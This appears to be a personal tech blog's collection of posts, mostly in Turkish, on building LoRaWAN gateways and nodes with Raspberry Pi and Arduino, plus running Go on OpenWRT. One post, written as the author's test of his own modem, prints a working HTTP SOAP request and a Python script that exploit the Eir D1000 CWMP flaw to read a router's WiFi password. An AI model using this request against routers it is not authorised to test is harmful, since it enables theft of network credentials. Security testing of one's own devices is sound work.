LoRaWAN ile IoT Projeleri – Bölüm 2

Önceki bölümde bahsedildiği üzere ilk GW tanımını tanımladıktan sonra. Raspberry Pi üzerinde çalışacak olan LoRa chipsetlerini yapılandırmak gerekecek. Bunun için, herhangi bir LoRa modülü ile gerekli lehimlemeleri kendiniz yapabileceğiniz gibi, hazır bir shield (Dragiono)  almanızda mümkün. Biz Dragino LoRa GPS Hat olan shield ile single channel packet forwarder’ımızı yapılandırıyoruz.

GW ile TTN bağlantısını kurabilmek için, GW olarak çalışan bir açık kütüphane kullanmamız gerekiyor. https://github.com/tftelkamp/single_chan_pkt_fwd adresinden ihtiyacımız olan kütüphaneye erişebilirsiniz.  Sunucu (Server1) adresini main.cpp içeriğinden 52.169.76.203 IP adresi ile güncelleyip  (router.eu.thethings.network), make komutu ile derlememiz yeterli. Oluşan binary dosyayı çalıştırdığımızda, GW aktif hale gelecektir. GW ile TTN üzerindeki EUI değerinin aynı olması gerekmektedir.

GW  yapılandırıldı ve aktif olarak çalışmakta, şimdi sıra yeni bir uygulama ve node eklemeye geldi. Applications sekmesinden yeni bir ID ile  uygulama ekliyoruz. Handler olarak ttn-handler-eu olması yeterli.

Sırada, yeni uygulamamızın kullanılacağı cihaz var. Bu cihazı ekledikten sonra, cihaz ayarlarından aktivasyon metodu olarak ABP seçiyoruz. TTN tarafından üretilen Network ve App Session Key son node üzerinde kullanılacaktır. 

TTN tarafında gerekli yapılandırmalar tamamlandıktan sonra, node üzerindede bu yapılandırmaların yapılması gerekiyor. Node oluşturmak için, Arduino Uno ve HF LoRa modülleri yeterli olup, gerekli lehimlemeleri kendimiz yapıyoruz. Ayrıca Raspberry Pi veya Arduino shield’da kullanılabilir.

Arduino ile LoRaWAN paketleri gönderebilmek için, Arduino IDE içerisinden IBM tarafından sağlanan lmic kütüphanesini kuruyoruz. Gerekli frekans ve SF ayarları yapıldıktan sonra, Arduino Node’umuz paket göndermeye hazır. Up Link mesajları GW trafik sekmesi üzerinden veya uygulama üzerinden takip etmek mümkün.


Eir’s D1000 Modem Güvenlik Zafiyeti

Uzun zamandır evde kullandığım cihazları için güvenlik taraması yapmamıştım. Çok fazla cihaz olmamakla birlikte aktif olarak kullandığım ZyXEL ADSL model ve TP-Link TL-WA850RE Kablosuz alan genişletici üzerinde iki adet kritik seviyede zafiyet tesbit edebildim. Önemli olan ZyXEL ADSL modem üzerinde CWMP protokolünden kaynaklanan ve can yakıcı olabilecek bir açık. Eir’s D1000 Modem üzerindeki açık hakkında detaylara bu adresten ulaşabilirsiniz.

Eir D1000 test etmek için biraz araştırma ardından bir kaç post isteğini test ederek WPA2 ile şifrelenmiş WiFi ağımın şifresine açıktan erişilebildim.  İlginç olan CWMP protokolünün 7457 nolu port üzerinden çalışması ve bu portun kapalı olmasına rağmen 80 portu üzerinden de protokolün çalışıyor olması. Geçici çözüm olarak ADSL üzerinde gelen firewall’u aktif hale getirip WAN üzerinden gelen bütün paket ve portlar  kapatmak için yapılandırdım. Varsayılan http 80 portu kapanmış oldu, fakat nmap ile full port taraması yapınca 8088 (8088/tcp open     http       Allegro RomPager 4.51 UPnP/1.0 (ZyXEL ZyWALL 2))  olan bir port açık gözükmekte ve firewall ile bu portu kapatamıyorsunuz. Ne güzel 🙂 şuan modemi yenilemekten başka çare gözükmüyor. Örnek post ve python script aşağıda bulabilirsiniz.

Eir D1000 CWMP açığı örnek http post;

POST /UD/act?1 HTTP/1.1
Host: 192.168.1.1:80
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys
Content-Type: text/xml
Content-Length: 318

<?xml version=”1.0″?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”>
<SOAP-ENV:Body>
<u:GetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″>
</u:GetSecurityKeys>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

 

Örnek cevapta * olan kısımda açıktan WiFi şifrenizi bulabilirsiniz;

<?xml version=”1.0″?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”>
<SOAP-ENV:Body><u:GetSecurityKeysResponse xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″>
<NewWEPKey0></NewWEPKey0>
<NewWEPKey1></NewWEPKey1>
<NewWEPKey2></NewWEPKey2>
<NewWEPKey3></NewWEPKey3>
<NewPreSharedKey>********</NewPreSharedKey>
<NewKeyPassphrase></NewKeyPassphrase>
</u:GetSecurityKeysResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

 

Örnek python test script;

import requests

headers = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
           'SOAPAction': 'urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys',
           'Content-Type': 'text/xml'
           }

raw_data = """
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<u:GetSecurityKeys xmlns:u="urn:dslforum-org:service:WLANConfiguration:1">
</u:GetSecurityKeys>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""

req = requests.request('POST', 'http://192.168.1.1/UD/act?1', headers=headers, data=raw_data)
print(req.text)

LoRaWAN ile IoT Projeleri – Bölüm 1

LoRaWAN ekosisteminin tanıtımı ve LoRaWAN destekli IoT projeleriniz için tüm ekipmanların tanıtımı ve nelere ihtiyacınız olduğu hakkında geçtiğimiz Aralık ayında (İ.Ü. Bilgisayar Mühendisliği ve İ.Ü. T.T.O. desteği ile) bir etkinlik gerçekeleştirdik. Etkinliğe katılamayanlar için, bu blog serisinde, kendi imkanlarınız ile bir LoRaWAN ağı nasıl kurulur ve basit bir uygulama nasıl geliştirilir bunu incelemiş olacağız.

LoRa fiziksel katman teknolojisi olup, kendine has bir modülasyonu sayesinde, uzun mesafelerde ve yüksek gürültülü ortamlarda iletişim sağlayabilmektedir. LoRaWAN ile fiziksek katman üzerinde bir MAC fonksiyonelitesi sağlanabilmektedir. Bir LoRaWAN ağı kurmak için, Data Network, Gateway (GW) ve LoRaWAN destekli node’lara ve açık kaynak kodlu yazılımlara ihtiyaç duyulmaktadır. Node’lar, GW’ler ile iletişim kurarak, GW’lerin bağlı olduğu DataNetwork ile internete çıkış yapabilmektedirler.  Private veya public olarak, bu ağları konunlandırmak mümkün.

Data Network; Node ve GW’lerin kontrolünü ve internet üzerinden erişilinebilirliğin sağlandığı ağlardır. Başlangıç olarak The Things Network (TTN) hizmetlerinden ücretsiz olarak yararlanmak mümkün. Ayrıca, açık kaynak kod olarak dağıtılan yazılımlar ile kendiniz bu ağı kurmanız mümkün. Öncelikle, TTN üzerinde bir hesap oluşturmanız gerekiyor, sonrasında  yeni bir gateway tanımlayabilirsiniz. Eğer kullanacağınız GW, single channel packet forwarder (bizim burda kullandığımız gibi) ise, bridge, diğer GW için connector seçimini yapabilirsiniz. GW EUID, raspberry pi üzerinde ilgili yazılım çalıştırdığımızda bize üreteceği EUID ve kullanacağınız frekansı 868 MHz seçerek ilk GW tanımlamış olacağız.

 

LoRaWAN GW TTN

 

 


LoRa & LoRaWAN nedir?

Long Range Wide Area kısaltmasından oluşan LoRa, kendine özgü bir modülasyon tekniğiyle uzak mesafelere paket gönderebilen L1 (fiziksel katman) protokolüdür.

Lora Alliance, LoRa’ya Mac fonksiyonu kazandırarak LoRaWAN adı altında standartlaştırma çalışmalarını yürütmektedir. LoRaWAN bir  LPWAN (Low Power Wide Area Network) teknolojisi olup,  pil ömrünün ve iletişim mesafesinin önemli ve ön planda olduğu IoT (Internet of  Things) için olmaz olmaz bir iletişim atl yapısı sunmaktadır.

screen-shot-2016-10-14-at-15-12-33

Ülkemizde 868 Mhz ISM bandında kullanılabilen LoRaWAN,  açık alanda 15 km, kapalı alanlarda 3 km’ye kadar paket iletim mesafesi sunmaktadır.

Henüz çok yeni bir teknoloji olmakla birlikte bir çok ülkede hızla yayılmakta ve Avrupada bir çok şehir LoRaWAN ile tamamen kapsama alanı altına alınmaya başlanmıştır. Türkiye sadece skysens bu alanda hizmet vermektedir,  sayılarının artması umuyoruz.

LoRaWAN hakkında bilinirliği artırmak ve bu teknoloji meraklarını bir araya getirmek amacıyla Türkiye LoRaWAN topluluğunu kurduk ve geçtiğimiz Eylül ayında ilk etkinliğimizi gerçekleştirdik. “LoRaWAN ile IoT Projeleri/IoT Projects with LoRaWAN” temalı ikinci etkinliğimiz için hazırlıkları neredeyse tamamladık, konuya meraklı olan veya iş proje/iş olanakları arayan herkesi bekliyoruz.


Go Language on OpenWRT – Carambola2

I’m playing with interesting go language which is built for system programming however, golang has been using to solve variety problems. For me, the most important aspect of the language is it is compiled and cross platform . Its simple, easy to learn and solves resource problems efficiently.

For test purposes, I wrote a simple hello world application, which dumps  struct as hex string on Carambola2 (MIP32 arch.). To be able compile go source code on OpenWRT gccgo is required. There are OpenWRT repos adds go lang support to gcc for MIPS32 architecture.

If target environment doesn’t contain go library (libgo.so) , source code should be compiled with “-static-libgo” flag. In my case;

mips-openwrt-linux-gccgo -g -static-libgo hello.go -o hello2

Output ;

root@Carambola2:~# ls -lah
drwxr-xr-x 1 root root 0 Aug 18 18:09 .
drwxr-xr-x 1 root root 0 Aug 18 17:58 ..
-rwxr-xr-x 1 root root 16.5K Aug 18 2016 hello
-rwxr-xr-x 1 root root 2.8M Aug 18 18:09 hello2
root@Carambola2:~# ./hello2
00000000 01 02 |..|

root@Carambola2:~#

Script;

package main

import (
       "fmt"
       "bytes"
       "encoding/binary"
       "encoding/hex"
)

type Data struct {
       X uint8
       y uint8
}

func main() {
       var buf bytes.Buffer
       dt := Data{1, 2}

       binary.Write(&buf, binary.BigEndian, dt)
       fmt.Println(hex.Dump(buf.Bytes()))
}

 

Also see this blog post further information.